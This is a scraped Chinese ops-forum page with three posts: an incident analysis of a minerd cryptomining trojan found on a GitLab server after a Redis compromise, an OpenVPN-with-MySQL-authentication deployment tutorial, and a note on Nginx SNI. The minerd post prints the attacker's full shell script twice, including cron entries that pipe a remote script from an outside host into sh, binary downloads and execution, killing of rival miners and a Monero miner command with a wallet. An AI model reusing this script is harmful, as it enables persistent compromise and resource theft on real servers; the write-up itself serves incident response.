智慧运维

智慧运维

Linux下添加删除默认网关

回复

开源技术Rock 发起了问题 • 1 人关注 • 0 个回复 • 32 次浏览 • 1 天前 • 来自相关话题

挖矿程序minerd入侵分析和解决

互联网资讯koyo 发表了文章 • 0 个评论 • 174 次浏览 • 2017-01-11 18:08 • 来自相关话题

发现问题

最近一台安装了Gitlab的服务器发生了高负载告警,Cpu使用情况如下:




让后登录到服务器,利用top查看CPU使用情况,这个叫minerd的程序消耗cpu较大,如下图所示:




这个程序并不是我们的正常服务程序,心里一想肯定被黑了,然后就搜索了一下这个程序,果真就是个挖矿木马程序,既然已经知道他是木马程序,那就看看它是怎么工作的,然后怎么修复一下后门。
 
这个程序放在/opt/minerd下,在确定跟项目不相关的情况下判断是个木马程序,果断kill掉进程,然后删除/opt下minerd文件。




本想这样可以解决,谁想不到15秒时间,又自动启动起来,而且文件又自动创建,这个让我想起了crontab的定时器,果然运一查确实crond存在一条:,果断删除处理。再杀进程,再删文件;然并卵,依旧起来;




既然没用我继续google,在stackexchange找到如下解决方案:




各种文件删除都不起作用,原来该木马程序注册了一个“lady”的服务,而且还是开机启动,起一个这个可爱的名字,谁TMD知道这是一个木马, 这个伪装程序也可能是ntp,可以参考:http://53cto.blog.51cto.com/9899631/1826989  。
 
这下完美解决了,但是得分析一下原因,shell启动脚本:export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.217" ]; then
curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.217
fi
chmod +x /tmp/ddg.217 && /tmp/ddg.217
killall /tmp/ddg.216


if [ -d "/opt/yam" ]; then
rm -rf /opt/yam
fi

ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9

#/opt/minerd -h
#if [ $? != "0" ]; then
#ps auxf|grep -v grep|grep "/opt/minerd"
#if [ $? != "0" ]; then
#if [ ! -f /opt/yam ]; then
#curl -fsSL http://www.haveabitchin.com/yam -o /opt/yam
#fi
#chmod +x /opt/yam && /opt/yam -c x -M stratum+tcp://4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC:x@xmr.crypto-pool.fr:443/xmr
#fi
#fi

DoMiner()
{
if [ ! -f "/tmp/AnXqV" ]; then
curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV
fi
chmod +x /tmp/AnXqV
/tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x
}
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC" || DoMiner


DoRedis6379()
{
iptables -F REDIS6379
iptables -A REDIS6379 -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 0.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 10.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 169.254.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 172.16.0.0/12 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 192.168.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 224.0.0.0/4 -p tcp --dport 6379 -j ACCEPT
iptables -A REDIS6379 -p TCP --dport 6379 -j REJECT
iptables -I INPUT -j REDIS6379
}
iptables -D OUTPUT -j REDIS6379
iptables -F REDIS6379
iptables -X REDIS6379
iptables -D INPUT -j REDIS63792
iptables -F REDIS63792
iptables -X REDIS63792
#iptables -N REDIS6379 && DoRedis6379解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限。

商业模式

被植入比特币“挖矿木马”的电脑,系统性能会受到较大影响,电脑操作会明显卡慢、散热风扇狂转;另一个危害在于,“挖矿木马”会大量耗电,并造成显卡、CPU等硬件急剧损耗。比特币具有匿名属性,其交易过程是不可逆的,被盗后根本无法查询是被谁盗取,流向哪里,因此也成为黑客的重点窃取对象。

攻击&防御

植入方式:安全防护策略薄弱,利用Jenkins、Redis等中间件的漏洞发起攻击,获得root权限。
最好的防御可能还是做好防护策略、严密监控服务器资源消耗(CPU/load)。
这种木马很容易变种,很多情况杀毒软件未必能够识别。 查看全部


发现问题


最近一台安装了Gitlab的服务器发生了高负载告警,Cpu使用情况如下:
UseCpu.png

让后登录到服务器,利用top查看CPU使用情况,这个叫minerd的程序消耗cpu较大,如下图所示:
minerd.png

这个程序并不是我们的正常服务程序,心里一想肯定被黑了,然后就搜索了一下这个程序,果真就是个挖矿木马程序,既然已经知道他是木马程序,那就看看它是怎么工作的,然后怎么修复一下后门。
 
这个程序放在/opt/minerd下,在确定跟项目不相关的情况下判断是个木马程序,果断kill掉进程,然后删除/opt下minerd文件。
wbug.png

本想这样可以解决,谁想不到15秒时间,又自动启动起来,而且文件又自动创建,这个让我想起了crontab的定时器,果然运一查确实crond存在一条:,果断删除处理。再杀进程,再删文件;然并卵,依旧起来;
crontab.png

既然没用我继续google,在stackexchange找到如下解决方案:
stackerror.png

各种文件删除都不起作用,原来该木马程序注册了一个“lady”的服务,而且还是开机启动,起一个这个可爱的名字,谁TMD知道这是一个木马, 这个伪装程序也可能是ntp,可以参考:http://53cto.blog.51cto.com/9899631/1826989  。
 
这下完美解决了,但是得分析一下原因,shell启动脚本:
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/root
mkdir -p /var/spool/cron/crontabs
echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/root

if [ ! -f "/tmp/ddg.217" ]; then
curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.217
fi
chmod +x /tmp/ddg.217 && /tmp/ddg.217
killall /tmp/ddg.216


if [ -d "/opt/yam" ]; then
rm -rf /opt/yam
fi

ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9

#/opt/minerd -h
#if [ $? != "0" ]; then
#ps auxf|grep -v grep|grep "/opt/minerd"
#if [ $? != "0" ]; then
#if [ ! -f /opt/yam ]; then
#curl -fsSL http://www.haveabitchin.com/yam -o /opt/yam
#fi
#chmod +x /opt/yam && /opt/yam -c x -M stratum+tcp://4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC:x@xmr.crypto-pool.fr:443/xmr
#fi
#fi

DoMiner()
{
if [ ! -f "/tmp/AnXqV" ]; then
curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV
fi
chmod +x /tmp/AnXqV
/tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x
}
ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC" || DoMiner


DoRedis6379()
{
iptables -F REDIS6379
iptables -A REDIS6379 -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 0.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 10.0.0.0/8 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 169.254.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 172.16.0.0/12 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 192.168.0.0/16 -p tcp --dport 6379 -j ACCEPT
#iptables -A REDIS6379 -s 224.0.0.0/4 -p tcp --dport 6379 -j ACCEPT
iptables -A REDIS6379 -p TCP --dport 6379 -j REJECT
iptables -I INPUT -j REDIS6379
}
iptables -D OUTPUT -j REDIS6379
iptables -F REDIS6379
iptables -X REDIS6379
iptables -D INPUT -j REDIS63792
iptables -F REDIS63792
iptables -X REDIS63792
#iptables -N REDIS6379 && DoRedis6379
解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限。


商业模式


被植入比特币“挖矿木马”的电脑,系统性能会受到较大影响,电脑操作会明显卡慢、散热风扇狂转;另一个危害在于,“挖矿木马”会大量耗电,并造成显卡、CPU等硬件急剧损耗。比特币具有匿名属性,其交易过程是不可逆的,被盗后根本无法查询是被谁盗取,流向哪里,因此也成为黑客的重点窃取对象。


攻击&防御


植入方式:安全防护策略薄弱,利用Jenkins、Redis等中间件的漏洞发起攻击,获得root权限。
最好的防御可能还是做好防护策略、严密监控服务器资源消耗(CPU/load)。
这种木马很容易变种,很多情况杀毒软件未必能够识别。

企业OpenVPN部署认证实战

开源技术欺壹世 发表了文章 • 0 个评论 • 97 次浏览 • 2017-01-04 17:57 • 来自相关话题

相关概念

1、vpn 介绍
vpn 虚拟专用网络,是依靠isp和其他的nsp,在公共网络中建立专用的数据通信网络的技术。在vpn中任意两点之间的链接并没有传统的专网所需的端到端的物理链路,而是利用公共网络资源动态组成的,可以理解为通过私有的隧道技术在公共数据网络上模拟出来的和专网有相同功能的点到点的专线技术,所谓虚拟是指不需要去拉实际的长途物理线路,而是借用公共的Internet网络实现。
 
2、vpn 作用
vpn可以帮助公司用的远程用户(出差,家里)公司的分之机构、商业合作伙伴及供应商等公司和自己的公司内部网络之间建立可信的安全连接或者局域网连接,确保数据的加密安全传输和业务访问,对于运维工程师来说,还可以连接不同的机房为局域网,处理相关的业务流。
 
3、常见vpn功能的开源产品
3.1 pptp vpn  
最大优势在于无需在windows客户端单独安装vpn客户端软件,windows默认就支持pptp vpn拨号功能。他是属于点对点的方式应用,比较适合远程企业用户拨号到企业进行办公等应用,缺点很多小区及网络设备不支持pptp导致无法访问。
 
3.2 SSL VPN(openvpn)
PPTP主要为常在外面移动或者家庭办公的用户考虑的,而OpenVpn不但可以使用与PPTP的场景,还是和针对企业异地两地总分公司之间的vpn不间断按需链接,例如:ERP,OA及时通讯工具等在总分公司企业中的应用,缺点:需要单独安装客户端软件。
 
3.3 IPSEC VPN 
 IPSEC VPN 也适合针对企业异地两地中分公司或者多个IDC机房之间的VPN的不间断按需链接,并且在部署使用上更简单方便。IPSEC Vpn的开源产品openswan.
 
4、openvpn通讯原理
openvpn所有的通讯都基于一个单一的ip端口(默认1194),默认使用udp协议,同时也支持tcp。openvpn能通过大多数的代理服务器,并且能在NAT的环境很好的工作。openvpn服务端具有客户端“推送”某些网络配置信息的功能,这些信息包括,ip地址,路由设置等。 OPenvpn提供了2个虚拟网络接口:通过TUN/Tap驱动,通过他们,可以建立三层IP隧道,或者虚拟二层以太网,后者可以传送任何类型的二层以太网数据。传送的数据可通过LZO算法压缩。openvpn2.0以后版本每个进程可以同时管理数个并发的隧道。
 
5、openvpn协议选择
在选择协议的时候,需要注意2个加密隧道支架你的网络状况,如果高延迟或者丢包较多的情况下,请选择TCP协议作为底层协议,UDP协议由于存在无连接和重传机制,导致隧道上层的协议进行重传,效率非常低下,这里建议用tcp协议方式。
 
6、openvpn的依赖及核心技术
openvpn依赖Openssl,可以使用预设的私钥,第三方证书,用户名密码等进行身份验证。openvpn的技术核心是虚拟网卡,其次是SSL协议实现。
 

服务器端安装部署

相关软件:lzo压缩模块,可加快传输速度,openvpn 主程序。
 
安装环境:centos6.4 x64 下安装
1、安装lzo
# cd /usr/local/src/
# wget http://www.oberhumer.com/opensource/lzo/download/lzo-2.03.tar.gz
# tar zxf lzo-2.06.tar.gz
# cd lzo-2.06
# ./configure
# make
# make install2、安装openvpn
# yum install -y openssl* -y && cd /usr/local/src/
# wget http://www.openvpn.net/release/openvpn-2.2.2.tar.gz
# tar zxf openvpn-2.2.2.tar.gz
# cd openvpn-2.2.2
# ./configure --with-lzo-headers=/usr/local/include --with-lzo-lib=/usr/local/lib
# make
# make install
安装环境:ubuntu 12.04 x64 下安装
1、主程序安装
# aptitude install openvpn
# aptitude install libpam-dev libpam-mysql libmysql++-dev sasl2-bin2、检查安装
# ls /usr/share/doc/|grep openvpn
openvpn ##发现已经存在。3、生成证书
#cd /usr/share/doc/openvpn/examples/easy-rsa/2.0/
# . ./vars ##### 重成环境变量 以下生成的文件都在/usr/share/doc/openvpn/examples/easy-rsa/2.0/keys 下
# ./clean-all ###用来清除之前生成的所有的key
# ./build-ca ####生成ca.crt ca.key4、建立给server用的certificate & key
#./build-key-server server
##“Common Name” 设成 “server”
##会产生以下文件
01.pem
server.crt
server.csr
server.key5、建立给client用的certificate & key(可以建立多个client)## “Common Name” 设成 “clinet1” 以此类推
# ./build-key client1
##生成
client1.crt
client1.csr
client1.key
# ./build-key client2
# ./build-key client3
##当然,你也可以只生成一个client,我就是这样做的6、建立 Diffie Hellman parameters 和 ta.key# ./build-dh #建立 Diffie Hellman parameters 会生成dh{n}.pem。
# openvpn --genkey --secret ta.key #生成ta.key,防止ddos攻击,client和server同时存储7、拷贝相关文件至/etc/openvpn下。# mv keys/* /etc/openvpn/
# mv ta.key /etc/openvpn/ #不要遗漏8、建立配置文件/etc/openvpn/server.conflocal 10.0.9.10 ###本机IP,这是一个内网IP,不过在路由上已经做了IP 的映射到一个外网ip
port 1194##指定端口
proto tcp #制定协议
dev tun
;tls-server
ca ca.crt
cert server.crt
key server.key
tls-auth ta.key 0
dh dh1024.pem
server 10.8.0.0 255.255.255.0#拨入后的ip段及网关
ifconfig-pool-persist ipp.txt
#push “redirect-gateway” # 自動將 client 的 default gateway 設成經由 VPN server 出去
keepalive 10 120 # 保持連線,每 10 秒 ping 一次,若是 120 秒未收到封包,即認定 client 斷線
comp-lzo #启用压缩
max-clients 20 # 最多同時只能有十個 client
user nobody
group nogroup # vpn daemon 執行時的身份(在非 Windows 平台中使用)
persist-key #当vpn超时后,当重新启动vpn后,保持上一次使用的私钥,而不重新读取私钥。
persist-tun #通过keepalive检测vpn超时后,当重新启动vpn后,保持tun或者tap设备自动链接状态。
status /etc/openvpn/easy-rsa/keys/openvpn-status.log #日志状态信息
log /var/log/openvpn.log #日志文件
verb 3 ## 日志文件冗余。
# 以下二行是將 vpn server 內部的虛擬 ip 機器開放給 client 使用
push "route 10.0.1.0 255.255.255.0"
push "route 10.0.2.0 255.255.255.0"
push "route 10.0.3.0 255.255.255.0"
plugin ./openvpn-auth-pam.so /usr/sbin/openvpn ###这个是用来mysql 认证的,如不需要可注释掉9、开启操作系统的IP转发设置。# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE10、建立mysql认证文件。# vi /etc/pam.d/openvpn
auth sufficient pam_mysql.so user=vpn passwd=vpnjkb host=127.0.0.1:3306 db=vpn \
table=vpnuser usercolumn=name passwdcolumn=password \
where=active=1 sqllog=0 crypt=2 verbose=1
account required pam_mysql.so user=vpn passwd=vpnjkb host=127.0.0.1:3306 db=vpn \
table=vpnuser usercolumn=name passwdcolumn=password \
where=active=1 sqllog=0 crypt=2 verbose=111、创建vpn库、授权、建表mysql> create database vpn;##创建数据库vpn。
mysql> GRANT ALL ON vpn.* TO vpn@localhost IDENTIFIED BY ‘vpnjkb‘;##授权localhost上的用户vpn(密码vpn123)有对数据库vpn的所有操作权限。
mysql> flush privileges;##更新sql数据库的权限设置。
mysql> use vpn;##使用刚创建的的vpn数据库。
mysql> CREATE TABLE vpnuser (
-> name char(20) NOT NULL,
-> password char(128) default NULL,
-> active int(10) NOT NULL DEFAULT 1,
-> PRIMARY KEY (name)
-> );
mysql> insert into vpnuser (name,password) values(’soai’,password(’soai’));
##命令解释:
#创建vpn用户,对vpn这个database有所有操作权限,密码为vpn123
#active不为1,无权使用VPN12、拷贝文件# cp /usr/lib/openvpn/openvpn-auth-pam.so /etc/openvpn/13、可选配置#client-cert-not-required #不请求客户的CA证书,使用User/Pass验证
#username-as-common-name #使用客户提供的UserName作为Common Name
#client-to-client #如果让Client之间可以相互看见,去掉本行的注释掉,否则Client之间无法相互访问
#duplicate-cn #是否允许一个User同时登录多次,去掉本行注释后可以使用同一个用户名登录多次14、下载相关文件给客户端用##下载下列文件
client.crt clinet.key ca.crt ta.key
 
 

客户端配置

1、客户端下载地址:
http://swupdate.openvpn.org/community/releases/openvpn-2.2.2-install.exe   ##windows

http://swupdate.openvpn.org/community/releases/openvpn-2.2.2.tar.gz    ##linux or mac
 
2、创建client.ovpn文件client
dev tun
proto tcp
remote 8.8.8.8 1194 #公网ip 和 端口
nobind
persist-key
persist-tun
ca ca.crt
cert client.crt
key client.key
tls-auth ta.key 1
;comp-lzo
verb 3
auth-user-pass3、把client.ovpn加上之前client.crt  clinet.key ca.crt    ta.key 放入一个config文件夹,并移动至vpn安装的主目录

4、启动客户端,输入用户名密码即可。#用户名密码在服务器端,mysql中添加的用户密码。
 

其他

1、关于auto认证相关可参考:http://b.gkp.cc/2010/08/08/setup-openvpn-with-mysql-auth/  
 
2、后期维护
a、如果后期重新添加key的话
source vars
./build-keyb、后期客户端的吊销source vars
./revoke-full xiaowang #-->会生成crl.pem文件检查keys/index.txt,发现被吊销的用户前面有个R

怎么使吊销的生效呢,就是在server.conf里面加上 #crl-verify /etc/openvpn/keys/crl.pem,然后重启openvpn服务生效。 查看全部
openvpn.png


相关概念


1、vpn 介绍
vpn 虚拟专用网络,是依靠isp和其他的nsp,在公共网络中建立专用的数据通信网络的技术。在vpn中任意两点之间的链接并没有传统的专网所需的端到端的物理链路,而是利用公共网络资源动态组成的,可以理解为通过私有的隧道技术在公共数据网络上模拟出来的和专网有相同功能的点到点的专线技术,所谓虚拟是指不需要去拉实际的长途物理线路,而是借用公共的Internet网络实现。
 
2、vpn 作用
vpn可以帮助公司用的远程用户(出差,家里)公司的分之机构、商业合作伙伴及供应商等公司和自己的公司内部网络之间建立可信的安全连接或者局域网连接,确保数据的加密安全传输和业务访问,对于运维工程师来说,还可以连接不同的机房为局域网,处理相关的业务流。
 
3、常见vpn功能的开源产品
3.1 pptp vpn  
最大优势在于无需在windows客户端单独安装vpn客户端软件,windows默认就支持pptp vpn拨号功能。他是属于点对点的方式应用,比较适合远程企业用户拨号到企业进行办公等应用,缺点很多小区及网络设备不支持pptp导致无法访问。
 
3.2 SSL VPN(openvpn)
PPTP主要为常在外面移动或者家庭办公的用户考虑的,而OpenVpn不但可以使用与PPTP的场景,还是和针对企业异地两地总分公司之间的vpn不间断按需链接,例如:ERP,OA及时通讯工具等在总分公司企业中的应用,缺点:需要单独安装客户端软件。
 
3.3 IPSEC VPN 
 IPSEC VPN 也适合针对企业异地两地中分公司或者多个IDC机房之间的VPN的不间断按需链接,并且在部署使用上更简单方便。IPSEC Vpn的开源产品openswan.
 
4、openvpn通讯原理
openvpn所有的通讯都基于一个单一的ip端口(默认1194),默认使用udp协议,同时也支持tcp。openvpn能通过大多数的代理服务器,并且能在NAT的环境很好的工作。openvpn服务端具有客户端“推送”某些网络配置信息的功能,这些信息包括,ip地址,路由设置等。 OPenvpn提供了2个虚拟网络接口:通过TUN/Tap驱动,通过他们,可以建立三层IP隧道,或者虚拟二层以太网,后者可以传送任何类型的二层以太网数据。传送的数据可通过LZO算法压缩。openvpn2.0以后版本每个进程可以同时管理数个并发的隧道。
 
5、openvpn协议选择
在选择协议的时候,需要注意2个加密隧道支架你的网络状况,如果高延迟或者丢包较多的情况下,请选择TCP协议作为底层协议,UDP协议由于存在无连接和重传机制,导致隧道上层的协议进行重传,效率非常低下,这里建议用tcp协议方式。
 
6、openvpn的依赖及核心技术
openvpn依赖Openssl,可以使用预设的私钥,第三方证书,用户名密码等进行身份验证。openvpn的技术核心是虚拟网卡,其次是SSL协议实现。
 


服务器端安装部署


相关软件:lzo压缩模块,可加快传输速度,openvpn 主程序。
 
安装环境:centos6.4 x64 下安装
1、安装lzo
# cd /usr/local/src/
# wget http://www.oberhumer.com/opensource/lzo/download/lzo-2.03.tar.gz
# tar zxf lzo-2.06.tar.gz
# cd lzo-2.06
# ./configure
# make
# make install
2、安装openvpn
# yum install -y openssl* -y  && cd /usr/local/src/
# wget http://www.openvpn.net/release/openvpn-2.2.2.tar.gz
# tar zxf openvpn-2.2.2.tar.gz
# cd openvpn-2.2.2
# ./configure --with-lzo-headers=/usr/local/include --with-lzo-lib=/usr/local/lib
# make
# make install

安装环境:ubuntu 12.04 x64 下安装
1、主程序安装
# aptitude install openvpn
# aptitude install libpam-dev libpam-mysql libmysql++-dev sasl2-bin
2、检查安装
# ls /usr/share/doc/|grep openvpn
openvpn ##发现已经存在。
3、生成证书
#cd  /usr/share/doc/openvpn/examples/easy-rsa/2.0/ 
# . ./vars ##### 重成环境变量 以下生成的文件都在/usr/share/doc/openvpn/examples/easy-rsa/2.0/keys 下
# ./clean-all ###用来清除之前生成的所有的key
# ./build-ca ####生成ca.crt ca.key
4、建立给server用的certificate & key
#./build-key-server server 
##“Common Name” 设成 “server”
##会产生以下文件
01.pem
server.crt
server.csr
server.key
5、建立给client用的certificate & key(可以建立多个client)
## “Common Name” 设成 “clinet1” 以此类推
# ./build-key client1
##生成
client1.crt
client1.csr
client1.key
# ./build-key client2
# ./build-key client3
##当然,你也可以只生成一个client,我就是这样做的
6、建立 Diffie Hellman parameters 和 ta.key
#  ./build-dh #建立 Diffie Hellman parameters 会生成dh{n}.pem。
# openvpn --genkey --secret ta.key #生成ta.key,防止ddos攻击,client和server同时存储
7、拷贝相关文件至/etc/openvpn下。
# mv keys/* /etc/openvpn/
# mv ta.key /etc/openvpn/ #不要遗漏
8、建立配置文件/etc/openvpn/server.conf
local 10.0.9.10 ###本机IP,这是一个内网IP,不过在路由上已经做了IP 的映射到一个外网ip
port 1194##指定端口
proto tcp #制定协议
dev tun
;tls-server
ca ca.crt
cert server.crt
key server.key
tls-auth ta.key 0
dh dh1024.pem
server 10.8.0.0 255.255.255.0#拨入后的ip段及网关
ifconfig-pool-persist ipp.txt
#push “redirect-gateway” # 自動將 client 的 default gateway 設成經由 VPN server 出去
keepalive 10 120 # 保持連線,每 10 秒 ping 一次,若是 120 秒未收到封包,即認定 client 斷線
comp-lzo #启用压缩
max-clients 20 # 最多同時只能有十個 client
user nobody
group nogroup # vpn daemon 執行時的身份(在非 Windows 平台中使用)
persist-key #当vpn超时后,当重新启动vpn后,保持上一次使用的私钥,而不重新读取私钥。
persist-tun #通过keepalive检测vpn超时后,当重新启动vpn后,保持tun或者tap设备自动链接状态。
status /etc/openvpn/easy-rsa/keys/openvpn-status.log #日志状态信息
log /var/log/openvpn.log #日志文件
verb 3 ## 日志文件冗余。
# 以下二行是將 vpn server 內部的虛擬 ip 機器開放給 client 使用
push "route 10.0.1.0 255.255.255.0"
push "route 10.0.2.0 255.255.255.0"
push "route 10.0.3.0 255.255.255.0"
plugin ./openvpn-auth-pam.so /usr/sbin/openvpn ###这个是用来mysql 认证的,如不需要可注释掉
9、开启操作系统的IP转发设置。
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
10、建立mysql认证文件。
# vi /etc/pam.d/openvpn
auth sufficient pam_mysql.so user=vpn passwd=vpnjkb host=127.0.0.1:3306 db=vpn \
table=vpnuser usercolumn=name passwdcolumn=password \
where=active=1 sqllog=0 crypt=2 verbose=1
account required pam_mysql.so user=vpn passwd=vpnjkb host=127.0.0.1:3306 db=vpn \
table=vpnuser usercolumn=name passwdcolumn=password \
where=active=1 sqllog=0 crypt=2 verbose=1
11、创建vpn库、授权、建表
mysql> create database vpn;##创建数据库vpn。
mysql> GRANT ALL ON vpn.* TO vpn@localhost IDENTIFIED BY ‘vpnjkb‘;##授权localhost上的用户vpn(密码vpn123)有对数据库vpn的所有操作权限。
mysql> flush privileges;##更新sql数据库的权限设置。
mysql> use vpn;##使用刚创建的的vpn数据库。
mysql> CREATE TABLE vpnuser (
-> name char(20) NOT NULL,
-> password char(128) default NULL,
-> active int(10) NOT NULL DEFAULT 1,
-> PRIMARY KEY (name)
-> );
mysql> insert into vpnuser (name,password) values(’soai’,password(’soai’));
##命令解释:
#创建vpn用户,对vpn这个database有所有操作权限,密码为vpn123
#active不为1,无权使用VPN
12、拷贝文件
# cp /usr/lib/openvpn/openvpn-auth-pam.so /etc/openvpn/
13、可选配置
#client-cert-not-required #不请求客户的CA证书,使用User/Pass验证
#username-as-common-name #使用客户提供的UserName作为Common Name
#client-to-client #如果让Client之间可以相互看见,去掉本行的注释掉,否则Client之间无法相互访问
#duplicate-cn #是否允许一个User同时登录多次,去掉本行注释后可以使用同一个用户名登录多次
14、下载相关文件给客户端用
##下载下列文件
client.crt clinet.key ca.crt ta.key

 
 


客户端配置


1、客户端下载地址:
http://swupdate.openvpn.org/community/releases/openvpn-2.2.2-install.exe   ##windows

http://swupdate.openvpn.org/community/releases/openvpn-2.2.2.tar.gz    ##linux or mac
 
2、创建client.ovpn文件
client
dev tun
proto tcp
remote 8.8.8.8 1194 #公网ip 和 端口
nobind
persist-key
persist-tun
ca ca.crt
cert client.crt
key client.key
tls-auth ta.key 1
;comp-lzo
verb 3
auth-user-pass
3、把client.ovpn加上之前client.crt  clinet.key ca.crt    ta.key 放入一个config文件夹,并移动至vpn安装的主目录

4、启动客户端,输入用户名密码即可。#用户名密码在服务器端,mysql中添加的用户密码。
 


其他


1、关于auto认证相关可参考:http://b.gkp.cc/2010/08/08/setup-openvpn-with-mysql-auth/  
 
2、后期维护
a、如果后期重新添加key的话
source vars
./build-key
b、后期客户端的吊销
source vars
./revoke-full xiaowang #-->会生成crl.pem文件
检查keys/index.txt,发现被吊销的用户前面有个R

怎么使吊销的生效呢,就是在server.conf里面加上 #crl-verify /etc/openvpn/keys/crl.pem,然后重启openvpn服务生效。

一个IP的主机上配置Nginx的多个HTTPS虚拟主机

开源技术Ansible 发表了文章 • 0 个评论 • 127 次浏览 • 2016-12-25 22:19 • 来自相关话题

最近公司域名更变,同时,又要新旧域名同时运行。 那么,对于https的域名在同一个IP上如何同时存在多个虚拟主机呢?查看了下nginx手册,有这么一段内容,如下:

如果在同一个IP上配置多个HTTPS主机,会出现一个很普遍的问题:server {
listen 443;
server_name www.example.com;
ssl on;
ssl_certificate www.example.com.crt;
...
}

server {
listen 443;
server_name www.example.org;
ssl on;
ssl_certificate www.example.org.crt;
...
}使用上面的配置,不论浏览器请求哪个主机,都只会收到默认主机www.example.com的证书。这是由SSL协议本身的行为引起的——先建立SSL连接,再发送HTTP请求,所以nginx建立SSL连接时不知道所请求主机的名字,因此,它只会返回默认主机的证书。

最古老的也是最稳定的解决方法就是每个HTTPS主机使用不同的IP地址:server {
listen 192.168.1.1:443;
server_name www.example.com;
ssl on;
ssl_certificate www.example.com.crt;
...
}

server {
listen 192.168.1.2:443;
server_name www.example.org;
ssl on;
ssl_certificate www.example.org.crt;
...
}那么,在同一个IP上,如何配置多个HTTPS主机呢?

nginx支持TLS协议的SNI扩展(Server Name Indication,简单地说这个扩展使得在同一个IP上可以以不同的证书serv不同的域名)。不过,SNI扩展还必须有客户端的支持,另外本地的OpenSSL必须支持它。

如果启用了SSL支持,nginx便会自动识别OpenSSL并启用SNI。是否启用SNI支持,是在编译时由当时的 ssl.h 决定的(SSL_CTRL_SET_TLSEXT_HOSTNAME),如果编译时使用的OpenSSL库支持SNI,则目标系统的OpenSSL库只要支持它就可以正常使用SNI了。

nginx在默认情况下是TLS SNI support disabled。

启用方法:
需要重新编译nginx并启用TLS。步骤如下:# wget http://www.openssl.org/source/openssl-1.0.1e.tar.gz
# tar zxvf openssl-1.0.1e.tar.gz
